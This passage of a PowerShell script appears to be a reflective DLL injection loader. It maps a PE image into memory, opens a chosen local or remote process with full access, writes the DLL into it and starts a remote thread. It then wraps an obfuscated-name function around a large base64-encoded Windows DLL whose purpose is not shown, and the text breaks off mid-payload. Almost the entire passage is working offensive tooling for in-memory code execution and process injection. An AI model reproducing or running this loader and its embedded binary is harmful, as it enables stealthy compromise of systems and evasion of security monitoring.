				$ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath)

				if ($ImportDllHandle -eq $null)
				{
					Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue
				}

				$Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle)
				if ($Success -eq $false)
				{
					Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue
				}

				$ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
			}
		}


		Write-Verbose "Calling dllmain so the DLL knows it is being unloaded"
		$DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
		$DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
		$DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)

		$DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null


		$Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
		if ($Success -eq $false)
		{
			Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
		}
	}


	Function Main
	{
		$Win32Functions = Get-Win32Functions
		$Win32Types = Get-Win32Types
		$Win32Constants =  Get-Win32Constants

		$RemoteProcHandle = [IntPtr]::Zero


		if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne ""))
		{
			Throw "Can't supply a ProcId and ProcName, choose one or the other"
		}
		elseif ($ProcName -ne $null -and $ProcName -ne "")
		{
			$Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue)
			if ($Processes.Count -eq 0)
			{
				Throw "Can't find process $ProcName"
			}
			elseif ($Processes.Count -gt 1)
			{
				$ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId
				Write-Output $ProcInfo
				Throw "More than one instance of $ProcName found, please specify the process ID to inject in to."
			}
			else
			{
				$ProcId = $Processes[0].ID
			}
		}









		if (($ProcId -ne $null) -and ($ProcId -ne 0))
		{
			$RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId)
			if ($RemoteProcHandle -eq [IntPtr]::Zero)
			{
				Throw "Couldn't obtain the handle for process ID: $ProcId"
			}

			Write-Verbose "Got the handle for the remote process to inject in to"
		}



		Write-Verbose "Calling Invoke-MemoryLoadLibrary"
		$PEHandle = [IntPtr]::Zero
		if ($RemoteProcHandle -eq [IntPtr]::Zero)
		{
			$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR
		}
		else
		{
			$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR
		}
		if ($PELoadedInfo -eq [IntPtr]::Zero)
		{
			Throw "Unable to load PE, handle returned is NULL"
		}

		$PEHandle = $PELoadedInfo[0]
		$RemotePEHandle = $PELoadedInfo[1]



		$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
		if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
		{



	        switch ($FuncReturnType)
	        {
	            'WString' {
	                Write-Verbose "Calling function with WString return type"
				    [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc"
				    if ($WStringFuncAddr -eq [IntPtr]::Zero)
				    {
					    Throw "Couldn't find function address."
				    }
				    $WStringFuncDelegate = Get-DelegateType @() ([IntPtr])
				    $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate)
				    [IntPtr]$OutputPtr = $WStringFunc.Invoke()
				    $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr)
				    Write-Output $Output
	            }

	            'String' {
	                Write-Verbose "Calling function with String return type"
				    [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc"
				    if ($StringFuncAddr -eq [IntPtr]::Zero)
				    {
					    Throw "Couldn't find function address."
				    }
				    $StringFuncDelegate = Get-DelegateType @() ([IntPtr])
				    $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate)
				    [IntPtr]$OutputPtr = $StringFunc.Invoke()
				    $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr)
				    Write-Output $Output
	            }

	            'Void' {
	                Write-Verbose "Calling function with Void return type"
				    [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
				    if ($VoidFuncAddr -eq [IntPtr]::Zero)
				    {

				    }
					else
					{
				    $VoidFuncDelegate = Get-DelegateType @() ([Void])
				    $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate)
				    $VoidFunc.Invoke() | Out-Null
					}
	            }
	        }



		}

		elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero))
		{
			$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
			if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero))
			{

			}
			else{
			$VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle
			$VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle


			$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
			}
		}



		if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL")
		{

		}
		else
		{






		}

		Write-Verbose "Done!"
	}

	Main
}


Function Main
{
	if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent)
	{
		$DebugPreference  = "Continue"
	}

	Write-Verbose "PowerShell ProcessID: $PID"


	$e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join ''

    if ($e_magic -ne 'MZ')
    {
        throw 'PE is not a valid PE file.'
    }

	if (-not $DoNotZeroMZ) {


		$PEBytes[0] = 0
		$PEBytes[1] = 0
	}


	if ($ExeArgs -ne $null -and $ExeArgs -ne '')
	{
		$ExeArgs = "ReflectiveExe $ExeArgs"
	}
	else
	{
		$ExeArgs = "ReflectiveExe"
	}

	if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
	{
		Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR)
	}
	else
	{
		Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName
	}
}

Main
}

function Invoke-FQNIEWNQ
{

$PEBytes32 = "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6FZEAACNRcjGRbEAUFdqBmg4AQAAaHACARDoPEQAAIPEUMZFywCNRfhQagJqDWh2AwAAaHACARDoHkQAAI1FpMZF+gBQagZqCmixBAAAaHACARDoA0QAAI1FxMZFqgBQV2oNaEEIAAC/cAIBEFfo6EMAAI1FnMZFxwBQagZqBGjWCAAAV+jRQwAAg8RQxkWiAI1F/MeF2P7//5QRABCJhdD+//8z/41F6MeF5P7//3URABCJhdz+//9HagVZjUXkiY3U/v//iYXo/v//jUXgiYX0/v//jUXcagZaiYUA////jUXYiY3g/v//iY3s/v//x4Xw/v//dxIAEImV+P7//8eF/P7//34QABCJvQT////HhQj///8sEwAQiYUM////jUXUiYUY////jUXQiYUk////jUXMiYUw////jUW0iYU8////jUWsiYVI////jUXIagJZiYVU////jUX4iYVg////jUWkagWJhWz///+NRcSJjRD///+JjRz///9ZagOJhXj///+NRZyJjSj///+JjUD///+JjUz///+JjVj///9ZiUWEjYXQ/v//ahBQVseFFP////ERABDHhSD///80EgAQx4Us////kRAAEImVNP///8eFOP///wMRABDHhUT///8WEQAQx4VQ////VhEAEMeFXP///8MQABCJjWT////HhWj///+wEAAQiY1w////x4V0////ZBIAEImVfP///8dFgGsQABCJTYjHRYwhEgAQ6AhLAAD/dcCL8I2FiP7//1Do36UAAFPoQS0AAIPEGIX2dQczwOlJAwAA6JwJAACjdB8BELtwAgEQjUXsUGoIahBojggAAFPo3kEAADPAZolF9I1FkFBqCGoGaEUDAABT6MVBAAAzwGaJRZiNhcT+//9QagpqD2iGAAAAU+ipQQAAM8BQaiBoYB4BEGaJhc7+///o8EAAAIPESKNsHwEQ6AszAACjcB8BEIXAdQ+NRexQ6HZFAABZo3AfARDoCwMAAKNoHwEQ6CE0AACjeB8BEIXAdQ+NRexQ6E9FAABZo3gfARDocS8AAKN8HwEQhcB1D41F7FDoMkUAAFmjfB8BEOi6MAAAo4AfARCFwHUPjUXsUOgVRQAAWaOAHwEQ6LkxAACjhB8BEIXAdQ+NRexQ6PhEAABZo4QfARDovDQAAIXAjZXE/v//jU2QD0TKUejZRAAA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